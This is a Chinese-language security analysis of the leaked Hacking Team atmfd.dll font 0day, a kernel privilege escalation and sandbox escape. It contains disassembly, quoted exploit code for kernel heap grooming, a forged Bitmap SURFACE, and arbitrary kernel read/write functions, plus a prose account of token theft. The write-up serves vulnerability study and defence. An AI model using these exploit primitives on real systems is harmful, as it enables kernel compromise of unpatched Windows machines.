作者:360Vulcan Team的pgboy
[email protected] 共享了我們針對Hacking Team泄露的 Flash 0day漏洞的技術分析(http://blogs.#/blog/hacking-team-part2/和http://blogs.#/blog/hacking-team-flash-0day/),為了在IE和Chrome上繞過其沙盒機制完全控制用戶系統,Hacking Team還利用了一個Windows中的內核驅動: Adobe Font Driver(atmfd.dll)中存在的一處字體0day漏洞,實現權限提升并繞過沙盒機制。
該0day漏洞可以用于WindowsXP~Windows 8.1系統,X86和X64平臺都受影響,在Hacking Team泄露的源碼中我們發現了該漏洞的詳細利用代碼。在利用Flash漏洞獲得遠程代碼執行權限后,Hacking Team經過復雜的內核堆操作準備后,加載一個畸形的OTF字體文件,再調用Atmfd中的相關接口觸發處理字體文件過程的漏洞,最后獲得任意次數的任意內核地址讀寫權限,接著復制Explorer.exe的token到當前進程,并清除本進程的Job來實現沙盒逃逸。
Chrome 43版本以上默認對沙盒內進程使用DisallowWin32k機制關閉了所有win32k相關調用,因此不受這個漏洞的影響。 下面是該漏洞的具體分析,本文分析來自360Vulcan Team的pgboy:
通過分析漏洞利用的源碼我們看到,該漏洞在加載字體完成后利用NamedEscape函數的0x2514命令來觸發關鍵操作 通過跟蹤NamedEscape我們可以找到存在于atmfd.dll里面漏洞點: 以下是筆者測試機器上atmfd的版本(win7 32bit):
#!bash
01 kd> lmvm atmfd
02 start end module name
03 95250000 9529e000 ATMFD (no symbols)
04 Loaded symbol image file: ATMFD.DLL
05 Image path: \SystemRoot\System32\ATMFD.DLL
06 Image name: ATMFD.DLL
07 Timestamp: Fri Feb 20 11:09:14 2015 (54E6A55A)
08 CheckSum: 00057316
09 ImageSize: 0004E000
10 File version: 5.1.2.241
11 Product version: 5.1.2.241
12 File flags: 0 (Mask 3F)
13 File OS: 40004 NT Win32
14 File type: 3.0 Driver
15 File date: 00000000.00000000
16 Translations: 0409.04b0
17 CompanyName: Adobe Systems Incorporated
18 ProductName: Adobe Type Manager
19 InternalName: ATMFD
20 OriginalFilename: ATMFD.DLL
21 ProductVersion: 5.1 Build 241
22 FileVersion: 5.1 Build 241
23 FileDescription: Windows NT OpenType/Type 1 Font Driver
24 LegalCopyright: ?1983-1990, 1993-2004 Adobe Systems Inc.
相關觸發漏洞的callback代碼如下:
#!bash
01 .text:00011EC6 WriteCallback proc near ; DATA XREF: sub_125D0+66?o
02 .text:00011EC6
03 .text:00011EC6 ms_exc = CPPEH_RECORD ptr -18h
04 .text:00011EC6 arg_4 = word ptr 0Ch
05 .text:00011EC6 arg_8 = word ptr 10h
06 .text:00011EC6 arg_C = dword ptr 14h
07 .text:00011EC6
08 .text:00011EC6 push 8
09 .text:00011EC8 push offset stru_4CF60
10 .text:00011ECD call __SEH_prolog4
11 .text:00011ED2 and [ebp+ms_exc.registration.TryLevel], 0
12 .text:00011ED6 movsx eax, [ebp+arg_8] ;參數是一個有符號的WORD,這里在擴展的時候會直接變成負數
13 .text:00011EDA mov ecx, [ebp+arg_C]
14 .text:00011EDD movzx edx, word ptr [ecx+4]
15 .text:00011EE1 cmp eax, edx
16 .text:00011EE3 jge short loc_11EEE
17 .text:00011EE5 mov dx, [ebp+arg_4]
18 .text:00011EE9 mov [ecx+eax*2+6], dx
19 .text:00011EEE
20 .text:00011EEE loc_11EEE:
21 .text:00011EEE mov [ebp+ms_exc.registration.TryLevel], 0FFFFFFFEh
22 .text:00011EF5 call loc_11F04
23 .text:00011EFA ; ---------------------------------------------------------------------------
24 .text:00011EFA
25 .text:00011EFA loc_11EFA:
26 .text:00011EFA xor eax, eax
27 .text:00011EFC call __SEH_epilog4
28 .text:00011F01 retn 10h
F5之后的callback代碼
#!c++
1 int __stdcall WriteCallback(int a1, __int16 a2, __int16 a3, int a4)
2 {
3 if ( a3 < (signed int)*(_WORD *)(a4 + 4) )
4 *(_WORD *)(a4 + 2 * a3 + 6) = a2;
5 return 0;
6 }
這個Callback被外層函數循環調用寫入緩存:
#!bash
01 .text:0002A028 loc_2A028: ; CODE XREF: xxxEnumCharset+E7?j
02 .text:0002A028 push [ebp+InBuffer]
03 .text:0002A02B movzx eax, si
04 .text:0002A02E push eax
05 .text:0002A02F push eax
06 .text:0002A030 lea eax, [ebp+var_1C]
07 .text:0002A033 push eax
08 .text:0002A034 push [ebp+var_4]
09 .text:0002A037 call [ebp+arg_0]
10 .text:0002A03A movzx eax, ax
11 .text:0002A03D push eax
12 .text:0002A03E push 0
13 .text:0002A040 call [ebp+callback] ; 調用觸發漏洞的回調函數,將Charset寫入到InBuffer中
14 .text:0002A043 movzx eax, word ptr [edi+5Ch]
15 .text:0002A047 inc esi
16 .text:0002A048 cmp esi, eax
17 .text:0002A04A jb short loc_2A028
我們可以看到,這里參數a3是一個有符號的16位數,當a3>0x8000的時候,movsx會將其擴展成0xffff8xxx,因此下面的寫操作就變成了堆上溢,會往給出的緩存地址的前面寫入。這是一個典型的由于符號溢出引發的堆上溢漏洞。
了解了漏洞的原理后,我們來繼續分析OTF文件是如何觸發該問題的,通過調試結合Adobe的文檔我們可以知道,是在處理OTF文件中CFF表的Charset過程引發的問題。
我們可以通過T2F Analyzer來觀察這個被加載的OTF字體文件的格式。見下圖:
顯而易見,樣本OTF文件中構造了超長的Charset,然后通過NamedEscape函數的0x2514命令來獲取Charset的時候,就會觸發到上面描述的觸發點,引發符號溢出。
我們從頭再看一下漏洞利用的流程,整個流程主要分這么幾個部分:
1 找到內核字體對象的地址
由于內核字體內存的布局無法直接被Ring3代碼探知,利用代碼中使用了一個特殊的技巧來實現獲得內核字體對象的地址,在利用代碼中,先加載字體,然后立刻創建一個Bitmap對象,再連續多次加載這個字體,由于win32k和atmfd中共用了內存堆處理函數,因此會導致Bitmap對象和字體對象是正好相鄰的。 由于Bitmap這類user/gdi對象的實際內核地址可以通過映射到Ring3的GdiSharedHandleTable獲得,因此這樣也就可以間接獲得攻擊代碼加載到內核的字體對象的范圍。 最后,由于NamedEscape函數調用atmfd設備的0x250A號命令可以指定對象的地址,并校驗字體對象的有效性同時將字體對象讀出來,因此攻擊代碼結合Bitmap定位和NamedEscape的0x250a指令,就可以準確獲取字體對象的地址,相關的代碼如下:
#!c++
01 while (found == 0) {
02 unsigned char fontloaded = 0;
03 for (j = 0; j < 15; j++) {
04 tmp[0] = 0;
05 fhandle = lpTable->fpAddFontMemResourceEx(lpTable->lpLoaderConfig->foofont, sizeof(lpTable->lpLoaderConfig->foofont), 0, &tmp[0]);
06 if (fhandle){
07 fontloaded = 1;
08 }
09 }
10 if (fontloaded == 0) {
11 return -1;
12 }
13
14 if (lpTable->locals->is64)
15 j = (unsigned int)lpTable->fpCreateBitmap(smallbitmapw64, smallbitmaph64, 1, 32, buf64);
16 else
17 j = (unsigned int)lpTable->fpCreateBitmap(smallbitmapw32, smallbitmaph32, 1, 32, buf32);
18
19 if (lpTable->locals->is64) {
20 tmp[0] = handleaddr64low(j);
21 tmp[1] = handleaddr64high(j);
22 }
23 else
24 tmp[0] = handleaddr(j);
25
26 min = tmp[0] - 0x4000;
27 max = tmp[0] + 0x4000;
28
29 for (j = 0; j < 15; j++) {
30 tmp[0] = 0;
31 lpTable->fpAddFontMemResourceEx(lpTable->lpLoaderConfig->foofont, sizeof(lpTable->lpLoaderConfig->foofont), 0, &tmp[0]);
32 }
33
34 for (i = min; i < max; i += 8) {
35 int ret;
36
37 *(unsigned int*)inbuf = i;
38
39 if (lpTable->locals->is64)
40 *(unsigned int*)(inbuf + 4) = tmp[1];
41
42 __MEMSET__(outbuf, 0, sizeof(outbuf));
43
44 //call an internal atmfd.dll function which receives a kernel font object as input and validates it
45 //also returning data that identifies the font
46 if (lpTable->locals->is64) {
47 ret = NamedEscape(NULL, wcAtmfd, 0x250A, 0x10, inbuf, 0x10, outbuf);
48 }else {
49 ret = NamedEscape(NULL, wcAtmfd, 0x250A, 0x0C, inbuf, 0x0C, outbuf);
50 }
51
52 if (ret != 0xFFFFFF21) {
53 char *p;
54
55 if (lpTable->locals->is64)
56 p = outbuf + 8;
57 else
58 p = outbuf + 4;
59
60 if (__MEMCMP__(p, lpTable->lpLoaderConfig->strFontEgg, 8) == 0) {
61 found = 1;
62 break;
63 }
64 }
65 }
66 }
2 觸發漏洞,實現寫入Bitmap對象
攻擊代碼首先會分配多個0xb000大小的對象,然后找到9個相鄰的Bitmap對象并釋放中間的3個,這樣就在內核win32k堆內存中留下了0xb000*3= 0x21000大小的空洞,接著攻擊代碼調用NameDEscape-atmfd的0x2514號命令來讀取超長的Charset,觸發漏洞。
在這個NamedEscape調用到atmfd過程中,會分配內核對象來復制一份輸入的緩存,這里攻擊代碼將輸入的緩存大小設置為0x20005,由于頁對齊的原因,這里正好可以占住上面我們說到的0x21000大小的空洞內存。
這樣在最終符號溢出時,就會寫入到這塊Buffer上面未被釋放的Bitmap對象中,這就通過精確地堆操作完成了將這個符號溢出導致的緩存上溢轉換到對已控制的Bitmap對象的寫入。 這個轉化的流程如下圖所示:
3 將Bitmap寫入轉換為內核任意地址讀寫
在第2步我們講到這里可以通過操作字體接口,將OTF文件的Charset處理的符號溢出漏洞轉換為覆蓋Bitmap對象內存的操作,這里我們來看看Bitmap對象在win32k中是如何組織的:它實際是一個 SURFACE對象,結構如下:
#!bash
01 typedef struct {
02 unsigned int handle0;
03 unsigned int unk0[4];
04 unsigned int handle1;
05 unsigned int unk1[2];
06 unsigned int width;
07 unsigned int height;
08 unsigned int size;
09 unsigned int address0;
10 unsigned int address1;
11 unsigned int scansize;
12 unsigned int unk2;
13 unsigned int bmpformat;
14 unsigned int surftype;
15 unsigned int unk3;
16 unsigned int surflags;
17 unsigned int unk4[12];
18 } SURFACE;
其中,Address0其實是指向Bitmap中BitsBuffer的指針,我們可以通過SetBitmapBits函數來操作BitsBuffer指向的內存,可以寫入bitmap對象的SURFACE內核結構后,攻擊代碼就可以通過控制Address0來實現任意地址讀寫。
在攻擊代碼中,使用了兩個Bitmap對象,一個Bitmap用來控制讀寫地址,另一個Bitmap2用來進行實際讀寫,我們將Bitmap2作為讀寫地址控制器,將其pBitsBuffer指向實現實際讀寫的Bitmap的pBitsBuffer的地址,這樣就可以實現多次穩定的任意地址讀寫。
也就是說,我們通過對Bitmap2進行 SetBitmapBits,設置實際讀寫的 Bitmap的pBitsBuffer為我們想要讀寫的地址,然后就可以通過進行實際讀寫的Bitmap的GetBitmapBits和SetBitmapBits來實現對指定地址的讀寫了,如圖所示:
我們看到,在攻擊代碼中,首先創建了一個假的Bitmap對象,然后將這個對象寫到字體的Charset中:
#!c++
01 surf32.width = largebitmapw;
02 surf32.height = largebitmaph;
03 surf32.size = surf32.width*surf32.height * 4;
04
05 //point to hBitmap SURFACE->address0, which contains the kernel address of bitmap data
06 surf32.address0 = surf32.address1 = handleaddr(lpTable->locals->hBitmap) + 0x2C;
07 surf32.scansize = surf32.width * 4;
08 surf32.bmpformat = 0x6; //BMF_32BPP
09 surf32.surftype = 0x00010000; //STYPE_DEVICE
10 surf32.surflags = 0x04800000; //API_BITMAP | HOOK_TEXTOUT
11
12 //write to the OTF data loaded from font.h
13 for (i = 0; i < sizeof(surf32); i += 2) {
14 unsigned short tmp = *(unsigned short*)((unsigned int)&surf32 + i);
15 *(unsigned short*)(lpTable->lpLoaderConfig->foofont + 0x16DF3 + i) = lpTable->fpHtons(tmp);
16 }
上面的攻擊代碼中,則將這個假的Bitmap對象的address0,也就是pBitsBuffer設置成了進行實際讀寫的bitmap的pBitsBuffer的地址。所以這個假的Bitmap對象就是我們上面提到的控制讀寫地址的Bitmap2。
最后下面就是完整的利用這個方式實現的任意內核地址的讀(arbread)和寫(arbwrite)代碼:
#!c++
01 unsigned int arbread(PVTABLE lpTable, unsigned int addrl, unsigned int addrh) {
02 unsigned int tmp[4];// = {0,0,0,0};
03
04 __MEMSET__(tmp, 0, 4);
05
06 if (lpTable->locals->is64) {
07 tmp[0] = tmp[2] = addrl;
08 tmp[1] = tmp[3] = addrh;
09 lpTable->fpSetBitmapBits(lpTable->locals->thehandle, sizeof(tmp), &tmp);
10
11 lpTable->fpGetBitmapBits(lpTable->locals->hBitmap, sizeof(tmp[0]), &tmp[0]);
12 } else {
13 tmp[0] = tmp[1] = addrl;
14 lpTable->fpSetBitmapBits(lpTable->locals->thehandle, 8, &tmp);
15
16 lpTable->fpGetBitmapBits(lpTable->locals->hBitmap, sizeof(tmp[0]), &tmp[0]);
17 }
18
19 return tmp[0];
20 }
21
22 // ported
23 unsigned int arbwrite(PVTABLE lpTable, unsigned int addrl, unsigned intaddrh, unsigned int value0, unsigned int value1) {
24 unsigned int tmp[4]; // = {0,0,0,0};
25
26 __MEMSET__(tmp, 0, 4);
27
28 if (lpTable->locals->is64) {
29 tmp[0] = tmp[2] = addrl;
30 tmp[1] = tmp[3] = addrh;
31 lpTable->fpSetBitmapBits(lpTable->locals->thehandle, sizeof(tmp), &tmp);
32
33 tmp[0] = value0;
34 tmp[1] = value1;
35 lpTable->fpSetBitmapBits(lpTable->locals->hBitmap, 8, &tmp[0]);
36 } else {
37 tmp[0] = tmp[1] = addrl;
38 lpTable->fpSetBitmapBits(lpTable->locals->thehandle, 8, &tmp);
39
40 tmp[0] = value0;
41 lpTable->fpSetBitmapBits(lpTable->locals->hBitmap, sizeof(tmp[0]), &tmp[0]);
42 }
43
44 return tmp[0];
45 }
由于漏洞是在上溢過程中進行的對前一個對象寫入,必然會對內核堆造成破壞,所以必須要修復內核堆的結構,這樣才能實現在進程退出,對象被釋放時不會造成系統藍屏崩潰,詳細的修復代碼可以參考源碼中觸發利用點之后的操作,篇幅關系就不在這里完全列出了。
在實現了內核任意地址寫入功能后,權限提升過程就比較簡單了,攻擊代碼通過遍歷內核進程表找到explore.exe的進程token,直接將explore的token對象的地址寫入到當前進程的token中,并清除進程的Job對象,來實現最終完全繞過各類沙盒的保護功能。
由于權限提升過程中完全使用了DKOM的方式,沒有進行內核代碼執行,因此也繞過了Windows8以上系統中的SMEP內核保護功能。 我們在分析這個漏洞的過程中,發現目前Hacking Team版本的漏洞利用代碼還是存在一些問題的,由于最終的提權代碼直接從Explore復制的token對象,會導致該token對象的引用計數出現問題,當系統關機、注銷,或者Explore.exe異常結束,最終導致Explore.exe進程退出時,可能會導致引用錯誤的token對象,引發系統藍屏崩潰,這是這個利用不夠優美的地方。